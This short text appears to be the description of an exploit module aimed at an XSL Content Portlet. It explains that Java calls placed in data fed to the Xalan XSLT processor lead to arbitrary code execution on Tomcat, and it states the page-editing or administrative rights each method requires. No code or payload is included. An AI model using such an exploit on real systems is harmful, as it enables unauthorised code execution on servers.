			This module exploits a vulnerability in the XSL parser of the
			XSL Content Portlet.  When Tomcat is present, arbitrary code
			can be executed via java calls in the data fed to the Xalan
			XSLT processor. If XSLPAGE is defined, the user must have rights
			to change the content of that page (to add a new XSL portlet),
			otherwise it can be left blank and a new one will be created.
			The second method however, requires administrative privileges.
